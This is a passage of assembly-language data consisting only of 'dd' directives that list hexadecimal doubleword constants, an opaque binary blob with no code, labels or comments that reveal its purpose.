0F94CF3E1h, 0D8037E1Bh, 0A3048610h, 0F7D0006Ch, 457F693Ah dd 0B09A1DEFh, 0E65B621Dh, 0CC40C9D2h, 6DE8DA7Eh, 83E0DD39h dd 7C27B99Fh, 2BB1102h, 0E4483A0Ah, 226B2C0Ch, 0BD168068h dd 49593DB8h, 0C3C7F701h, 7F90B399h, 170CD860h, 130BB1h dd 0C2C8F910h, 1B005EBCh, 0B4B50FBDh, 570AE14h, 3BFC26D2h dd 60C1815Ch, 211C7308h, 568C16E2h, 9CE460B4h, 86014B28h dd 4EBAAB31h, 48746340h, 1CFF00F5h, 0DFCF4C88h, 0D23E7F84h dd 0FEBE1E2Bh, 3B410818h, 73AA0C51h, 6369D5ECh, 3B8BE8B3h dd 31E28CA5h, 923D09B7h, 836BB3h, 1900DFB4h, 0F97DB2Bh dd 3AA3C2CDh, 4C032A1Bh, 586C6A30h, 393DE4E0h, 0BB04987Fh dd 0D983156Dh, 5E8090C0h, 53A2EDBh, 89D100A4h, 0C449C336h dd 87F24238h, 0A185ADDFh, 0D1547D80h, 993015CAh, 0F002CC08h dd 90D7C535h, 0F89B074h, 0CC8F833Eh, 789E814h, 10925C9Eh dd 94F9AF00h, 0A2991375h, 0F6B4ED00h, 55A96D96h, 0CDF04CBh dd 0BC26FE5Bh, 0AE770184h, 0F359BDD6h, 64A780D6h, 0BC7038Eh dd 0EDD2B15h, 9B390CE0h, 0D3F2A91Ah, 840C5611h, 8049AEDBh dd 0D442906Eh, 41F80E00h, 1454F50Bh, 0A040E7FBh, 0AA456Ah dd 8DA474ABh, 76CF2779h, 508BC412h, 52235440h, 16336E3h dd 0F2C72FEDh, 30C6972Bh, 9C92A820h, 0E8755B02h, 5E8457DBh dd 5F0F00B0h, 0B973AE8Bh, 8824D85Ch, 0D6DF87ECh, 1E14E427h dd 515BD9C0h, 7E6845h, 0D3A57EAh, 0E6EF2A8Ch, 339E7200h dd 63CF4B5Dh, 501B024Dh, 7EE2AC55h, 11D60CF0h, 0C5760CC0h dd 0CB331C67h, 0D9650066h, 285229B1h, 99935E00h, 3AFEBDF9h dd 76F50081h, 4D8F611Fh, 404C1A86h, 32EA0748h, 0B150B421h dd 901F9067h, 20F44F97h, 5118A8F0h, 3009502Eh, 419D003Bh dd 0D79546DAh, 34DB0023h, 686C4FFEh, 0F0010DBBh, 42AB7A3h dd 0BDC11A5h, 0E3120F44h, 81A03E63h, 52AC0AF8h, 4C92E17Dh dd 46B55500h, 4AE8FE8h, 0A74C003Dh, 2AF8C940h, 792F3691h dd 972000D9h, 577A18h, 0DADDAC60h, 831021F1h, 4E0004F8h dd 82BF654Bh, 0B27D27h, 0DAE7CADDh, 60156CF6h, 8FEC75E6h dd 0EA9BBE07h, 20BFD192h, 0EEFBA070h, 0B8144C29h, 0CC4957A1h dd 0AE711643h, 97E74F13h, 0E5F68000h, 34AA42h, 0F5887392h dd 6E7A31C7h, 35FC3A09h, 20500F79h, 6F8364E0h, 0F41E49B9h dd 0A5AC6500h, 0BF543BB2h, 14C98824h, 0AF7442h, 0EB7FCF97h dd 0FBAB7B04h, 0BE806E84h, 45D2F7h, 5C68A9FEh, 0D3F3668Eh dd 0E77F8C00h, 19C1DA67h, 0E4610362h, 0A13DDF43h, 5B4CAC90h dd 800091FCh, 61E50D14h, 5B9D344h, 1CE16A8Ah, 0B6F48067h dd 2303F108h, 41BEBB12h, 0ADA2C014h, 0D2200056h, 6FB46296h dd 7E022CBCh, 0D4864EE1h, 0E903C0E4h, 4CA30F50h, 0C1A288FEh dd 9BC09D01h, 0B03BC62h, 5F4FBEEDh, 0DD8FB03Ah, 0EC49586Fh dd 150A8D1Eh, 203FC863h, 4947A9Ch, 0E0229B6Eh, 5C001FA0h dd 0B7CA9671h, 0EAFAB214h, 0BAFD0012h, 0B5BD777Dh, 0D8A0C4E7h dd 5403583Bh, 55148660h, 0D0909C9Dh, 136C9446h, 409FE55Ch dd 0BF1AC5Ch, 0AA127464h, 9CD01EA1h, 5C02238Dh, 0F405E94Ch dd 80DC5E63h, 7D1AC75Fh, 73B30BEh, 0F5B79695h, 0FDF880F8h dd 0F713D7DDh, 0BBB55D00h, 8012BAE0h, 0E54B2C21h, 5E738054h dd 0D5EF7EE3h, 0FD676100h, 4F4A646h, 97E401B5h, 0B9CCD2C9h dd 0BA3181EAh, 3CDF9908h, 906471DAh, 8FD1C0FAh, 7B59917Ah dd 4821004Dh, 9C93D9A7h, 54B36DBFh, 13883480h, 163A3CBDh dd 407BD845h, 3ED747ECh, 40B1EDECh, 0A201239Eh, 0F31A66D9h dd 304EA8h, 73D8EF94h, 91016318h, 9666F500h, 6C2A4E81h dd 82F3146Ah, 0B027B09Ch, 3895CCC0h, 50445E00h, 42750FE2h dd 1E991684h, 0C827C8h, 323C3EBEh, 74A4F470h, 0DEBCD559h dd 520434C1h, 1960BFE4h, 0CC160A30h, 50742C29h, 0EA007DE4h dd 0C2B68BA4h, 173A505h, 51BB2F36h, 9C562284h, 728F6620h dd 2D1D204Fh, 0C2DF86h, 4130D1E6h, 409BB17h, 28C1F85Ah dd 483CF1AFh, 0FE764EB0h, 9A7D5109h, 7302128h, 0E9839F86h dd 3E61EDF5h, 4848F2B2h, 492AEC19h, 1120BC0Ch, 8F622581h dd 0F1000067h, 731471FFh, 75D90030h, 0E4C1443Ch, 0A30006C7h dd 4758DB94h, 5870C279h, 0E7076860h, 0ACF6C00Eh, 5019811h dd 53C322A3h, 0F6603482h, 0CFE702A6h, 61BA3F25h, 0A8D46942h dd 5653F203h, 0A96FE0B0h, 0C0B10939h, 6CF0F9F8h, 2DFAB02h dd 0A0548D7Ch, 818809D0h, 416C2A58h, 48CD138Ch, 0DA1DD7h dd 3477047Fh, 920032BAh, 0A1024124h, 0DFF4ACF3h, 0C0738250h dd 9C820B76h, 898004E5h, 0F6AFB405h, 0E800A1B0h, 0AA68F4D9h dd 1551660h, 8189F9DFh, 0FA8DF16Ah, 0DA00FC64h, 15EF041Dh dd 75EEE6Dh, 7643FE02h, 0B120C0ABh, 7D090DC8h, 70C46684h dd 8EBD1CECh, 610E803Dh, 917BAB38h, 9DBFDF00h, 9E0444Fh dd 5AE5F8F9h, 4D08185h, 0AF53F02Eh, 0E6481300h, 622A8137h dd 0B9260086h, 405A69Ch, 0B00058FFh, 0EEAF4297h, 3BE449F9h dd 30807279h, 5A675406h, 0DA0BE970h, 0E80ECE8h, 6B180094h dd 0F074A6h, 3B7D5593h, 83362FD5h, 6D46BD00h, 22B44029h dd 0D0E600FCh, 13C50309h, 0F0A0A624h, 0BD4D4E37h, 60302708h dd 0BCDF98h, 7FCB7D18h, 55941499h, 1FFB39h, 0DD5169CDh dd 3FF3606Ch, 0B7806B91h, 0BCC7E966h, 0E20205D9h, 0F66F2ECDh dd 60CC8E4Eh, 301A5761h, 591B0028h, 9293D47Ah, 94BA41C1h dd 9821DB4Fh, 2007BE8Ch, 5DDC22D7h, 200E278h, 0B108F477h dd 76D22F49h, 0A1117EDh, 333401F7h, 60AF93FBh, 0B0006AC0h dd 0D767141Eh, 92D8B32Dh, 2822FBC0h, 99373600h, 8DF0A452h dd 0E53FB217h, 2F564202h, 2387E8Fh, 78D1C351h, 5341B260h dd 66ABA91Fh, 0B4E0F80h, 18D8E5Fh, 52CCF317h, 3EC820ACh dd 0A9A3800h, 4C0D0Bh, 0D7B81BB0h, 97877E37h, 40688B00h dd 5A339242h, 0F5BC0093h, 24B4D675h, 0D33A07A5h, 41B59DABh dd 9F267300h, 6B9DB0h, 0CB0DE6C4h, 0D56EB24Bh, 6C75A200h dd 0D61E6A3Ah, 6208005Dh, 866D58A6h, 3400192Dh, 8320FBA7h dd 0D86884h, 0ACEB40FDh, 0C5AFE01Bh, 0C19ACB07h, 0F01077C2h dd 58D2E5h, 82923549h, 24F765F9h, 9900709Ch, 47E1FD76h dd 0E2BFD86h, 56EF4FA8h dd 3FD6C340h, 0E204E745h, 8F9A6D64h, 1FB0E880h, 43A700D7h dd 98FC4427h, 6B0022B5h, 8BAB11B1h, 16032049h, 0E4C8E9C1h dd 2D00EED0h, 9474FE3Eh, 0F233E88Bh, 8C0424DDh, 8AF10014h dd 250AAABCh, 7EA41F58h, 0BD08D61Eh, 0C110C9EDh, 0FDF4E4h dd 7A589965h, 0CEC5B174h, 8EDCA71Ch, 0AD8879C0h, 2CD90CEBh dd 821C104Bh, 91FCEA3Ah, 0BD1DCC7Ch, 8357218Bh, 0ED9F6720h dd 0BB30E0h, 0CB5B38F0h, 3585C6A4h, 5C650A24h, 3C491001h dd 81F44220h, 0E5280190h, 4B1C16E6h, 98A6F4F0h, 150075E2h dd 24B59BA3h, 161FB365h, 4F91D1h, 8AA42842h, 5001C25h dd 85ABFF94h, 1358AFB7h, 204D73C2h, 7DBC8C80h, 655B3902h dd 605D8406h, 31E90F0h, 30A8B74Bh, 0E98854D8h, 0BE00AC92h dd 0B4830BE0h, 4C85BAC4h, 0D0002078h, 7A477426h, 3A000990h dd 99A18D8Bh, 48B8202Dh, 1000814Ch, 0DB9D74F3h, 1660CFF5h dd 4948660Ah, 82542560h, 0DDE9FCC0h, 5722509h, 172083A9h dd 40E8CCACh, 0A1A1E68Ch, 0ECE7F00Ah, 9E3BB0D1h, 0EA809A23h dd 4B7ACBBAh, 0D9E1024Eh, 3727C943h, 3E281440h, 0A303BE02h dd 6038F313h, 0B015A1Bh, 4829DD76h, 18004F89h, 9778B98Fh dd 8C403700h, 1D13AFAh, 75610030h, 452B6B67h, 5DEE279Fh dd 0AABD9200h, 4E563B87h, 4C400035h, 0E1EC96D5h, 0B31E8CFBh dd 5B0FB5F1h, 8E09A0h, 0BAF60225h, 0C635D64h, 718C1F00h dd 0FC94773Dh, 0DA2CD500h, 0E038E275h, 32220065h, 9BBE8844h dd 98EC6EB3h, 0E707D7B8h, 81F9C8DFh, 95294B70h, 6E6F3CB4h dd 0BF59CA30h, 7900D0D4h, 707E83A0h, 98F6FB72h, 1A9101FCh dd 0D488905Dh, 9FA851E5h, 522A600Dh, 69E64A0Eh, 0BCA0B374h dd 9B1C148Eh, 4F38B4CEh, 9D5A9280h, 2E419535h, 88F49900h dd 636FC8EEh, 0CED7814h, 469B0A92h, 47008F41h, 5785C5F0h dd 2C1B1536h, 580C8h, 0B16829A9h, 58B87CA0h, 4EA840Eh dd 0BD7EA03Ch, 90A4D3FFh, 8077D6h, 0CED94221h, 0E7ED5667h dd 0F3F8CB38h, 90FFAB14h, 534301DCh, 3C0A8B47h, 79E11F8h dd 0B5543ACDh, 9BFE052h, 1A04FB21h, 18FE396Bh, 32383CF8h dd 9DBC76FDh, 1FCD9C80h, 0E80AA7BEh, 0DC5CB161h, 3C1AA205h dd 6C004CBCh, 0BE21E2CFh, 0F11CC0FCh, 2CCF91FEh, 0DDAE01D3h dd 0D0400282h, 45FFFE2h, 1D4CF06Bh, 0EEBCC07Bh, 463829A5h dd 90C28055h, 0F89A89D6h, 7757AA8h, 0E20832BFh, 0ACE09EF3h dd 9F2703E6h, 0B9308602h, 0E8FD1F61h, 113C6Ch, 0CE3182D1h dd 0D3906B70h, 0EEA64000h, 17D55204h, 74181F63h, 73AF4001h dd 6816695Ah, 0AEC02200h, 48A7F7FBh, 0E6EF01CDh, 9BBC2DD6h dd 716460A4h, 0B0094F05h, 75FC23E8h, 51F7FC07h, 0A606408Ch dd 7E1E07A4h, 0F8C4CE5h, 99C88B4h, 0A2F1FF0Ch, 0B7653C23h dd 339F31F8h, 0A8EDA00Eh, 0DC801CFEh, 0F8D854F4h, 8A36001Fh dd 67B93902h, 38CF2F62h, 0F7F600B3h, 17A1E60h, 0D302EAD8h dd 8113959Dh, 0D2A79120h, 11AE9C83h, 23440B60h, 3400D0D8h dd 0F05FD649h, 7AE1189Fh, 64710136h, 33D7A97Dh, 8583D0C7h dd 0DC90DD16h, 0BBFC3713h, 0F4B2C040h, 0BF201D82h, 80CE0EEAh dd 0C2D8CC20h, 0A6008DFCh, 5FB15A09h, 3F5811Bh, 30E3A5D0h dd 0A087616Eh, 177BA918h, 89164F7Ch, 8003C60h, 2E2D5B28h dd 1645E0BCh, 0B391095Ah, 4259BC00h, 22C22DA0h, 40620954h dd 12CE63FBh, 0C5F84CF3h, 57C13E0h, 0C06DE410h, 0EA68CAB6h dd 0A80F5Ch, 522B4D5Ah, 4A027B8Dh, 8C942032h, 0D0561B8h dd 0D7239967h, 410110F8h, 8ECCFF2Fh, 0BF6470D0h, 0AF64DD3Fh dd 96FC60C3h, 7D41883Fh, 52ADEA00h, 26A707Bh, 1C9CF04h dd 0CF14F500h, 564F881Dh, 8F609EFh, 4EAB64A0h, 37492175h dd 867034h, 4DE10D1Dh, 0E2917090h, 0CB9F7402h, 40AC7E6Eh dd 24F69BC4h, 0C04511h, 0D308D9EAh, 987470A1h, 8500E4B2h dd 6FA4E403h, 616CA8h, 36DEBC7Ah, 0BD7DA75Ch, 7BBE100h dd 0F70C19Eh, 54E80035h, 0EC76F989h, 0E900D541h, 0BC2AA890h dd 30FEA213h, 0ABF0AE07h, 0A6011CDBh, 96506432h, 0ECC4F5E7h dd 18D913AFh, 2330A47Ah, 0D0D7614Fh, 1101C67Ah, 2016044h dd 2D782E4h, 9BD9EE6h, 0F48142B9h, 7A10D5EAh, 0D140F401h dd 0E02CCDC7h, 48173E00h, 0ACBFB421h, 538F5516h, 75CC4CB0h dd 0EA6B0110h, 22CD67DAh, 5CC0CF71h, 8300AB93h, 23E3CBC9h dd 9F4F57h, 0AEFF9209h, 67975C11h, 757ECC09h, 0A4C804Dh dd 20C0B08Fh, 8322E530h, 0FAF71FE0h, 0D64FC217h, 0BC51B2FCh dd 7B58408h, 43E13FE7h, 97B04C48h, 0CC5CAB41h, 1ADD0C77h dd 4376030h, 53AD9190h, 0B6EC02FAh, 0E47F0584h, 2F042704h dd 6BDA414Fh, 576CE0h, 7ADBA98Eh, 6F1D56A3h, 810ED200h dd 0F822B8E1h, 7F5B0CC6h, 0A388B0B1h, 0D56CFA07h, 28C26F11h dd 7EE7C29Fh, 61C781BCh, 0F0EB514Bh, 0AE00E44Ch, 4F33FA5Eh dd 0EE03BE2h, 0C56EA5C3h, 2C006549h, 1368C0E7h, 2C7CB13Ch dd 0EE0713FBh, 0DAD04228h, 0C2B0E92Dh, 0F998AFC0h, 41E25872h dd 4200FAE2h, 73AAA64Bh, 52F6EF24h, 1E1F9CA4h, 80D35D51h dd 597DB9B2h, 7309A3B7h, 21371310h, 423066C8h, 3C9D5D8h dd 2E4BD0B0h, 7AF314A9h, 0D8E8ACh, 554CD4FAh, 0A59E41h dd 8314337Eh, 8AB5D20Ah, 0C5BF7001h, 0F274D465h, 0B4788FE9h dd 3CD09800h, 0EB6A6BA3h, 0DE032271h, 0A719C2BCh, 8AD10081h dd 3F3D9F16h, 4500999Ch, 2EB20D22h, 1E4609C8h, 0C060F15Ah dd 4A55C269h, 53719336h, 0CDE38300h, 0C88A6E70h, 9D9C1D7Ah dd 0F1A10022h, 401091FFh, 84024C9Ch, 48958F24h, 0E8B1400h dd 83161E45h, 0A281218Eh, 8693B127h, 78BA2E21h, 6CF60339h dd 74FFC8B3h, 63323CA0h, 7CFC18C7h, 0E4DC03C3h, 0E3E84CD1h dd 0F1D860h, 0E97BAE04h, 0EF342EBFh, 2728EB7Dh, 1F7B30B6h dd 586A391Fh, 16244440h, 0A8B427B9h, 84795940h, 80FD4440h dd 9614FFFAh, 7104D10h, 1D93B022h, 0BA0B56F1h, 4AA68C8h dd 4B5BD585h, 7249806Fh, 0B400A28Eh, 3D3CA4ACh, 12979926h dd 225957h, 0D0EB9E23h, 390F86D2h, 80E2A5B2h, 0FAAFB98Dh dd 0FC94007Ch, 0CCAC75E5h, 57E46FCFh, 0A527E207h, 8D508988h dd 20CEA1h, 62F5B550h, 363AD1EBh, 0F2701100h, 82AEAC47h dd 97860079h, 0E86D1392h, 6400C9FEh, 48EA211Bh, 0AF3A2Bh dd 0B0FDFC16h, 0AB0EDE24h, 0D238DC00h, 0C602AA90h, 19BE0AD5h dd 0B89597h, 0CD0C6D20h, 17B0E49Eh, 7025DFEAh, 80987193h dd 40D1EE46h, 0D3383D09h, 2203745Bh, 2FF2525Ch, 0E13F8B05h dd 0E7F0035Fh, 0F0170F51h, 0F3AF56DEh, 46319807h, 20001023h dd 0FF526ED0h, 17A9B2Fh, 227082B6h, 0C4072E3Bh, 4001FBF2h dd 54D13C17h, 0A471F011h, 1ED722F4h, 1B210350h, 30070860h dd 291200Ch, 41423AC7h, 0CF805D26h, 512BCF0Fh, 64CE7528h dd 505F048Fh, 0B360C488h, 6873910h, 2192608Ah, 0DE525CFh dd 442B1603h, 30C32E76h, 0D421C708h, 9D00E5CCh, 49CFE963h dd 0EEFF0E58h, 5F8E0371h, 0A5BF1F72h, 1A416900h, 34FFCF50h dd 248019B3h, 74480836h, 220361CCh, 0EBFAFE50h, 93A2D042h dd 7564EC94h, 0F8B51956h, 0D00BB1ADh, 7160D8F3h, 40064D11h dd 1BE90B0Ch, 278DA4E3h, 4407B08h, 91401E30h, 238700A8h dd 61244821h, 1200EF05h, 949046BEh, 51FE099h, 117BAACAh dd 0AF884076h, 2EDA03Eh dd 0A4F52000h, 0C20DBA46h, 0B03500F8h, 683B5A0Ch, 7CF80E05h dd 0DC40C9C0h, 0C4341Eh, 2262D448h, 86F902ADh, 0B5AF7704h dd 0D401F25h, 5D230FB6h, 0FFFC98A0h, 87B15A00h, 0FB660E77h dd 0ADE8038Fh, 0A4AEF57Bh, 580572F1h, 5008DCA8h, 0C404FF21h dd 203B4F4Bh, 2BBCF150h, 4E1930DCh, 0C2890119h, 9564E0A8h dd 80354C3Dh, 6AD626F8h, 0DA469Ch, 5AC05F5Bh, 116644F2h dd 0AB17B60Ch, 10FAA84Eh, 0BFDAF7h, 0A427390Fh, 0C5B96D9h dd 6F2380EFh, 0E54E6E89h, 0B2765045h, 7729A840h, 0EEA7299h dd 4AE42EF5h, 0C5C6A6C0h, 0DE0090E3h, 0E7F7B918h, 6777DBD5h dd 0BDCA9AEh, 68EC24D2h, 0A51A0A8h, 0F4B0ED00h, 126F96D4h dd 69996076h, 0D3AC0292h, 8966BD13h, 0BF0F6490h, 0FA24A071h dd 96B0123h, 87D911B4h, 4DB1C0FDh, 0CCB63D06h, 6965DFh dd 519ED381h, 46F0C18h, 351441DFh, 0E140750h, 8ED079B4h dd 7C22B27Ah, 0D6C714A9h, 5C069485h, 2078900Eh, 39525F18h dd 60EEE738h, 76102098h, 0B0A365C4h, 229701E0h, 4572A004h dd 50877B6Ah, 0CE8FE3A1h, 0E6237100h, 89F25930h, 1885AC0Bh dd 20D833CBh, 92326A49h, 5ABB3873h, 987F7Ch, 1CFD1459h dd 0EE0F867h, 0A493CDF8h, 64400C0Fh, 1C622BE9h, 40042A20h dd 85B600ECh, 4FFD18E2h, 0F80CF925h, 697BBFF1h, 0CE58009Ah dd 0E10FBC4h, 0AD129FCAh, 801EE15Eh, 35972701h, 0F8828F7Ah dd 4F336658h, 3EF0400h, 639814E3h, 9381E42Eh, 82DD37E0h dd 1A12E9D8h, 10C62A7h, 80772390h, 0EE42980h, 341A09B7h dd 34D1898h, 21BF301Ch, 9B736CAh, 7CE23312h, 18D62499h dd 3F40080Dh, 64C423E9h, 40053740h, 90097547h, 9D5644D0h dd 9EC81198h, 0B70D4080h, 0AB46507h, 225AE8A7h, 13068AF4h dd 8CF411CCh, 52E93207h, 59224CD3h, 401F2D00h, 48A364D2h dd 0AE8B09F8h, 0F4182011h, 4DFAD770h, 82005FF0h, 14D8FC53h dd 2E696h, 99C62A37h, 0C092FA24h, 0C90FD8C0h, 0C90A327h dd 846AA88h, 0B14DEF1Ah, 0BA1F0A90h, 0BAF86Eh, 49E821E3h dd 2BE790Eh, 70C5480Dh, 18783F93h, 0BCD8084Ch, 82398C1Ch dd 9FDB09ADh, 56D080D1h, 54C75B73h, 4E6C28h, 0BDD827C1h dd 68B5127Ch, 0BACA2100h, 0F2323089h, 17200040h, 2EEF6AF1h dd 0B0C69485h, 9419CE5h, 509B3F96h, 8BF14001h, 311980D8h dd 0ECD73367h, 8D520EDCh, 1400F754h, 0B8FB76Ch, 409587Bh dd 23BD76E2h, 0E056E130h, 161FEBh, 0B759CB87h, 8134415Dh dd 3AEFE70Ah, 9C94E0B6h, 8C64E888h, 16F8EAA0h, 58632728h dd 7CB9644h, 61E33E73h, 0F20904Dh, 0DD6071F0h, 41066D41h dd 982304B5h, 82E2073Dh, 2E300B5Ch, 161211E5h, 1E29CD3h dd 0DAE5C9D5h, 64A71DDCh, 0EB09AD40h, 495A62h, 6FE8245Ch dd 40FE03DDh, 4756463h, 97C12B8h, 0AE5FBCA0h, 98A053h dd 8F14E18Ch, 0CDE338h, 0DB068309h, 0EF7736E6h, 0F5689D08h dd 69980171h, 86488E62h, 5A601968h, 20846C0h, 16DFE5D7h dd 10C9313Bh, 7EE5FED2h, 62090172h, 6EB21E4Ah, 0F7069F2h dd 340367B6h, 86113ACh, 55230C2Fh, 0BAACF307h, 5A6390D1h dd 1B166032h, 9C6414EBh, 1E6A6906h, 0FBF8C891h, 0FC29443Eh dd 1CC438A5h, 45D2E260h, 0DDE52905h, 0B7C40975h, 1078F4C2h dd 87671163h, 41002389h, 0C0771E5Ah, 0A0E6B580h, 5E5CCF0Eh dd 8C40BCD4h, 3806E100h, 96E0C683h, 4FDE0A9Ah, 847C5963h dd 0C00BE3h, 0A72F3FEFh, 0E0622CE4h, 59100604h, 0FA46F841h dd 0B400902h, 613103E9h, 40013310h, 0F5120700h, 2167D102h dd 0F7F3131Ah, 0A64C42B6h, 94E55E16h, 8C6075E4h, 975CEA6Eh dd 0EB188114h, 5993CE4Fh, 56E80C2Eh, 84905D89h, 0FCB97A61h dd 0F0741E9Fh, 631F1296h, 20D04072h, 76FCB401h, 830D39CBh dd 96899413h, 4A390069h, 0F2CCEBFDh, 0DC182208h, 3199760Ah dd 0A010CC20h, 410E6EC9h, 8071FD1Fh, 1A0ECF09h, 3027705Fh dd 0CA51DE89h, 6500F7C5h, 542A4868h, 1FC692AAh, 0D2406616h dd 47400841h, 8A4C0828h, 401B8F20h, 0F35FF9D8h, 2E1A0008h dd 6BC75A4Ah, 11240495h, 3F3DA858h, 13E30A0Fh, 63018CC8h dd 2207AF6Ch, 609898ACh, 35532741h, 0BDC4FB18h, 928E76B0h dd 70EF060Ch, 4CB0BB3Bh, 1277109Ah, 64EB6712h, 1EE78480h dd 43AA899Dh, 0DB9B34F0h, 3E916C3h, 0DE288B4Dh, 39C01DA0h dd 0DCC909C6h, 0B3001318h, 3EB91E62h, 9C5100E2h, 9FE356B9h dd 5944C700h, 0F6B43D92h, 8829C66Fh, 330051D9h, 0DFA5B5BBh dd 0BC95F2Bh, 27A02545h, 0B7024CB0h, 541A0D11h, 26808888h dd 74FAB70Ah, 0B3E50F6Ch, 0E801E905h, 2086FD27h, 535D73D8h dd 422E7D90h, 94003FBAh, 0B3565581h, 73F930B5h, 765CF899h dd 5F6434E5h, 48798491h, 7D0CFA18h, 0A19C1663h, 30FB51B5h dd 54B47CC8h, 911008FAh, 5B74648Ch, 1F608480h, 0FF21C850h dd 2762C0DCh, 3A241850h, 0A23B9CFAh, 995DFA6Eh, 36F4002Ch dd 8F5FE63h, 0E093E91Eh, 9893ACACh, 975286Fh, 701242EBh dd 48009842h, 0B23DE1C0h, 0DF0A0B00h, 6A39B454h, 60411C83h dd 5AFB0108h, 24F4B78Ah, 744421F4h, 8402B862h, 12940CA0h dd 0DA119877h, 5524EC00h, 0BE913A0Dh, 5E723BF3h, 0F2CFA8DCh dd 0D3D19B60h, 9900C7D2h, 0C0A11BCBh, 0C00E373Ah, 170F22F8h dd 6B0F3EEBh, 1FBE76BBh, 2117CA6h, 0D6500D80h, 0B8A70CFFh dd 50153800h, 315D817Ah, 0BBA1B717h, 36218E7Dh, 1AB800A3h dd 93F9B3Eh, 0AB9ED5E1h, 0C08EC832h, 0E5CB81D1h, 31FE161Bh dd 0F2EE10C5h, 0FD1548E5h, 0A6A00178h, 0B331A5A8h, 4C091E0h dd 24501380h, 458C3CFFh, 501BDC46h, 3502A800h, 0DBFB1AF1h dd 4C4C98C9h, 0E33AE0CFh, 4909CD20h, 0A0797662h, 91F8277Ch dd 6DA42684h, 6A1408B0h, 54F20100h, 0EF15A18h, 108C2A99h dd 4BF476C2h, 5035A84Ah, 736200B8h, 89EF5A27h, 0B3C0169Bh dd 0B62C41DBh, 92546317h, 0C8CB1060h, 94C05AC8h, 3AC94BCAh dd 0E6A6D59Fh, 4C161C9Ch, 6E58747Fh, 6C52E94Ah, 37290C8h dd 7BEFC6A8h, 6030F179h, 6371B944h, 0A4112414h, 5B218C60h dd 0A4998871h, 0F1407B80h, 1E49ACh, 54D83CE6h, 0EDAADFA8h dd 14EEA402h, 5862CD7Fh, 0B45F12F4h, 16E83225h, 60FDB510h dd 0F1D1970h, 143F36F7h, 631CD858h, 801A0A08h, 7E207C8h dd 13ACAF0Fh, 541309DCh, 0A1E040B5h, 0E1CEC42Ch, 1858AA13h dd 22B7B401h, 0C83624A0h, 54E4033Dh, 0B2C8D85Ch, 50BCF88h dd 19F8B9B7h, 3B8DC042h, 9A607622h, 0C11FF21h, 0FC171DF1h dd 0B11D12CAh, 2F786074h, 7C73DA41h, 0E7F30F7Ch, 7387ADFCh dd 7CB819Eh, 772894DEh, 0E94400E8h, 93A0666Ah, 71F40994h dd 7CE8DBEBh, 6E887A1Bh, 0B2E48BEEh, 0EFF23ACh, 0E904400Ah dd 188E3Bh, 65400234h, 0C04FD51h, 9B76C9A8h, 0EF717AD9h dd 0B6E9F526h, 62277C00h, 1B663A40h, 0C0FB03E3h, 3CF17023h dd 0E90A4084h, 2758620Bh, 18400036h, 31DD4A7h, 474226CCh dd 4C01725Bh, 501805A4h, 0A224FFF5h, 2067C464h, 0C1238A05h dd 20681365h, 7E17246Ch, 9043FCB3h, 0ACEB6EB4h, 10A2BCD4h dd 0E130C7F2h, 16880072h, 0E8271FD5h, 9D2406F0h, 810B4854h dd 1D380907h, 804F9154h, 0E678C138h, 0AA2601FFh, 0B3FD390Fh dd 0FB54240Eh, 0D44FBA4Fh, 0DB29E02Ch, 90CC39FDh, 0C1F22208h dd 0F04800B8h, 93DC8104h dd 841EC6Eh, 4822CF09h, 0CD3BEB08h, 7C2BE358h, 90848ACAh dd 0B70D6026h, 0C1A2308h, 0C1008C11h, 2C9CB735h, 0B31E443Fh dd 0D6529524h, 23A28081h, 90FCE834h, 64B09464h, 0DD48C833h dd 5ADCC244h, 88C8240Fh, 9201D410h, 9B53890Dh, 7DE0F86Bh dd 0EB7E1478h, 2101CCAh, 80668849h, 438E01DBh, 3C0037E0h dd 80F06D6h, 71C135FAh, 323F024Ch, 0E3EFA121h, 101630D8h dd 0CC876976h, 91D904C0h, 62EF00E1h, 9497F81Ah, 7AECD685h dd 282C0226h, 2DDF8130h, 224A72h, 661F4E8Ch, 32AC5FBh dd 8130ACAEh, 0FD0D3065h, 205B5B8Dh, 23B22500h, 6B6F8305h dd 52C7DB22h, 6D2B1160h, 0ADF8030Ch, 0BC91AB26h, 927258C8h dd 48E0B200h, 56E4611h, 0B9EE00B3h, 973B8A02h, 890EB706h dd 0CF8D72F7h, 316B0096h, 0E27391Fh, 0A2F31887h, 95B82220h dd 7000E0AAh, 0AD82753Eh, 80F5B2h, 6FB3E619h, 6EEF5BB7h dd 0E3A06DF4h, 0F70E03B4h, 84DE8355h, 0E4C18216h, 424D676h dd 0F471262Eh, 90924F54h, 51993818h, 0CAFD9801h, 8B0E169Fh dd 0FA2AEC28h, 301EF824h, 0B4181FD3h, 8126A490h, 124034F8h dd 128A18F5h, 81AA62E8h, 62E22378h, 0F0D0014h, 28DE6B4h dd 0CCC9021h, 93A49E5Ah, 0E4ACA28h, 6423042Eh, 0B047770Ch dd 6E51403Fh, 0D444F44Bh, 7CF41CDCh, 7A0A06ACh, 4167F0B4h dd 83D08848h, 804334EFh, 0B016EB5Eh, 4BC6072Bh, 60A01FF2h dd 0A2A76EF6h, 10176227h, 406BCB94h, 121A77CAh, 9DF07C3Ah dd 808B11CCh, 0B25A75BCh, 0DC89187Eh, 9CA9A16Bh, 403E39h dd 0CC151471h, 4EF31A45h, 89D00B1Bh, 0C290D093h, 0A00027F0h dd 31E6B8D9h, 14CEB1h, 0AA2C82FEh, 48EB936Fh, 3C5180A2h dd 540416A5h, 38FCD8ABh, 10CCC6FFh, 20BA5F16h, 0F27975DCh dd 67DCBF00h, 3BBE4641h, 0DFF72965h, 1BEE00CCh, 0ECE69EC5h dd 0EB03138h, 0E04E36BCh, 1F5BE5D2h, 0E2F4F9DBh, 0CF0E27FEh dd 63010C01h, 0B59C4859h, 28ABE624h, 0C813AE09h, 34A664h dd 0F20F2030h, 566C1402h, 0A89A11F6h, 925CF44Ch, 0BAE0B8DDh dd 40C1DC72h, 39D2DBE4h, 0D1012A97h, 0A4FE87FFh, 0CB20262Bh dd 5E73178Ah, 88548B25h, 460C0B2h, 88091C3Ch, 9AEFDE68h dd 110C9DE0h, 4C98096h, 27E010D1h, 2802FF1Eh, 7480F16Eh dd 5B2B3E58h, 0F90418C0h, 0A4DC74AEh, 2EBF00C4h, 2DFEF6D7h dd 7A7FF793h, 45813200h, 0BDB43AE9h, 14A42D54h, 0A244D805h dd 3059F268h, 0CC00C7B4h, 2ADE585Fh, 0A9F59249h, 0E8635ED8h dd 530C6A2h, 92500B0Ah, 7C0EC7B0h, 7BAF0053h, 7EDA12B4h dd 840BB490h, 683F7B6h, 0B9177B9h, 680E546Dh, 0FCA00C12h dd 7BBE3F01h, 144B8A26h, 17551F08h, 238C3A04h, 0F4C70059h dd 